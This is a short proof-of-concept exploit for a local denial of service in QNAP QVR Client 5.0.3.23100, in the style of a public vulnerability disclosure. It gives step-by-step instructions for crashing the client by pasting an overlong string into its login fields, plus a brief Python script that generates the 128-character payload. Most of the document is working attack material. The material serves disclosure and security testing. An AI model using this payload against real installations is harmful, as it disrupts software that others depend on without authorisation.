# Exploit Title : QNap QVR Client 5.0.3.23100 - Denial of Service (PoC)# Discovery by: Rodrigo Eduardo Rodriguez# Discovery Date: 2018-08-06# Vendor Homepage: http://www.qnapsecurity.com/n/en/# Software Link : http://download.qnap.com/Surveillance/Utility/QNewMon5.zip# Tested Version: 5.0.3.23100# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es# Steps to Produce the Crash: # 1.- Run python code : python generatepaste.py# 2.- Open generate.txt and copy content to clipboard# 3.- Open QVR Client# 4.- Direccion IP/Puerto -> 0.0.0.0 / 80# 5.- Paste ClipBoard on "Nombre de Usuario" and "contraseña"# 6.- Aceptar# 7.- Crashed#!/usr/bin/env python# -*- coding: utf-8 -*-
buffer = "\x41"* 128
f = open ("generate.txt","w")
f.write(buffer)
f.close()